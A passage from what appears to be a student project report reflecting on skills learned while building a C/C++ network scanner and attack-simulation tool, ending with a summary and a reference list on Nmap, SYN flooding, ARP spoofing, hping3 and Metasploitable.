Developing a network scanner and attack mounter tool necessitates a solid grasp of network protocols, networking concepts, and socket programming. Through this project, I gained practical insights into how data is transmitted over networks, the role of sockets in establishing communication, and how different protocols like ICMP, TCP, and UDP are used to interact with devices. This understanding empowered me to manipulate network interactions effectively and securely, while also enabling me to comprehend the vulnerabilities and attack vectors that can emerge due to misconfigurations or insecure protocols.

2. **Practical Application of Ethical Hacking Techniques:**

Creating a network scanner and attack mounter tool involves implementing ethical hacking techniques in a controlled environment. Through this project, I learned how to identify active hosts using ICMP Echo Requests, pinpoint open ports through connect scans, and simulate various network-based attacks. These experiences provided hands-on practice in identifying potential vulnerabilities and understanding how attackers might exploit them. This skill set equipped me with the ability to assess the security posture of networks, recognize potential risks, and take proactive measures to mitigate them.

3. **Software Development and Collaboration Skills:**

Developing a functional tool requires a strong foundation in programming. Utilising C/C++ to create the tool, I gained valuable experience in coding, debugging, and optimising code for efficiency. Additionally, as I worked on the project, I encountered challenges that required creative problem-solving. Collaborating with my peers and online communities to discuss solutions and receive feedback honed my communication and teamwork skills. This exposure to real-world coding and collaboration scenarios is transferable to various domains of software development.

In summary, my journey of researching, learning, and applying ethical hacking principles, socket programming techniques, and C coding skills to develop a network scanner and attack mounter tool has provided me with a profound understanding of network protocols, practical experience in ethical hacking, and enhanced software development skills. These outcomes collectively contribute to my growth as a skilled and responsible cybersecurity professional, capable of contributing to the ongoing battle against cyber threats in today's digital landscape.

REFERENCES:

1. https://nmap.org/docs.html
2. https://www.oreilly.com/library/view/nmap-essentials/9781783554065/
3. https://nmap.org/book/nse-usage.html
4. https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python
5. https://www.imperva.com/learn/application-security/arp-spoofing/
6. https://www.kali.org/tools/hping3/
7. https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/